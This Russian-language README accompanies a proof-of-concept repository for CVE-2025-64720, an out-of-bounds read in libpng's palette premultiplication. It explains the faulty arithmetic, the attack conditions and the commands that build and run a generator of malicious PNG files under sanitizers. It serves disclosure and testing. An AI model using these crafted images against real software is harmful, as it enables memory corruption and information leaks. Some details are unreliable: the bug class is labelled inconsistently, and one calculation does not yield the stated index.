
Эксплойт доказательства концепции для CVE-2025-64720, переполнение буфера libpng в предумножении палитры. Включает генератор эксплойтов, тестовую обвязку с ASan/UBSan и подробный технический анализ уязвимости heap-use-after-free.
Статус: Исправлено
Серьёзность: Высокая
Идентификатор CVE: CVE-2025-64720
Дата обнаружения: 2025-11-XX
Публичное раскрытие: 2025-11-21
Уязвимость чтения за пределами границ существует в функции png_image_read_composite библиотеки libpng при обработке изображений с палитрой и включённым флагом PNG_FLAG_OPTIMIZE_ALPHA. Код композитинга палитры в png_init_read_transformations некорректно применяет композитинг с фоном во время предумножения, нарушая инвариант компонента ≤ альфа × 257, требуемый упрощённым PNG API, что приводит к повреждению памяти.
В png_init_read_transformations в строке ~1336 код расширения палитры выполняет:
component += (255-alpha)*png_sRGB_table[outrow[c]];
Это вычисление даёт значения component до 16 776 960 (0x1000800), где (component >> 15) == 512. Последующий макрос PNG_sRGB_FROM_LINEAR в png_image_read_composite выполняет доступ к массиву за пределами границ:
png_sRGB_base[component>>15] // Обращение к png_sRGB_base[512]
png_sRGB_delta[component>>15] // Обращение к png_sRGB_delta[512]
// Оба массива имеют индексы только 0-511 (размер 512)
Проблема возникает когда:
PNG_FLAG_OPTIMIZE_ALPHApngread.c, pngtrans.cpng_image_read_composite, png_init_read_transformationsОжидалось: component ≤ alpha × 257
Гарантирует (component >> 15) ≤ 511 (в пределах границ массива)
Фактически: component = previous_value + (255-alpha) × png_sRGB_table[RGB_value]
При alpha=0, RGB=255: component может превышать ожидаемые границы
Результат: (component >> 15) может равняться 512 (доступ за границы)
# Способ 1: pkg-config
pkg-config --modversion libpng
# Способ 2: Прямой запрос библиотеки
libpng-config --version
# Способ 3: Проверка бинарного файла
strings /usr/lib/libpng*.so* | grep -i "libpng version"
# Способ 4: Из исходного кода
grep PNG_LIBPNG_VER_STRING png.h
Злоумышленник может использовать эту уязвимость, создав вредоносный PNG-файл с определёнными характеристиками:
Предварительные условия атаки:
png_image_*)Шаги атаки:
PNG_FLAG_OPTIMIZE_ALPHAРезультат атаки:
png_sRGB_base или png_sRGB_delta┌─────────────────┐
│ png_sRGB_base │ Индексы массива: 0-511 (512 записей)
│ [512 entries] │ Допустимый доступ: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB Access] │ Индекс 512 ← Уязвимый доступ, когда component ≥ 0x1000000
├─────────────────┤
│ png_sRGB_delta │ Индексы массива: 0-511 (512 записей)
│ [512 entries] │ Также уязвим для того же OOB-доступа
├─────────────────┤
│ Соседняя память │ Возможное раскрытие информации
└─────────────────┘
Вычисление, вызывающее переполнение:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]
Когда alpha=0 и palette_RGB=255:
component = 0 + 255 × 65535 = 16 711 425
(component >> 15) = 512 (ЗА ГРАНИЦАМИ!)
Обязательные условия:
png_image_finish_read)Дополнительные факторы:
PNG_FORMAT_FLAG_AFIRST увеличивает вероятность сбояУсловия, при которых не срабатывает:
# Клонировать репозиторий
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720
# Сгенерировать изображения
python3 generate-images.py
# Собрать тест
chmod +x build.sh
./build.sh
# Запустить эксплойт (требуется уязвимая libpng < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png
generate-images.py)Генерирует вредоносные PNG-файлы, вызывающие уязвимость.
Использование:
python3 generate_poc.py
Вывод:
exploit_v1.png - Изображение 8x8, равномерная белая палитра, нулевая альфаexploit_v2.png - Изображение 8x8, стратегическое изменение палитрыexploit_v3.png - Изображение 64x64, большое с повторяющимися шаблонамиexploit_v4.png - Изображение 4x4, минимальный случай с полностью нулевой альфаОпции:
# Сгенерировать конкретный вариант
generate_malicious_png('custom.png', variant=2)
# Варианты:
# 1: Максимальные значения RGB с нулевой альфа (надёжно)
# 2: Стратегическая палитра, разработанная для максимального переполнения
# 3: Большее изображение с повторяющимися запускающими шаблонами
# 4: Минимальный случай, нацеленный на global-buffer-overflow
test.c)Обрабатывает PNG-файлы с использованием упрощённого API и демонстрирует уязвимость.
Компиляция:
# С AddressSanitizer (рекомендуется - лучшее обнаружение)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer
# С UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0
# С отладочными символами
gcc -o test_debug test.c -lpng -g -O0
# Для Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline
Возможности:
В уязвимой версии (libpng 1.6.36):
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
[!] libpng < 1.6.51 detected (vulnerable version)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8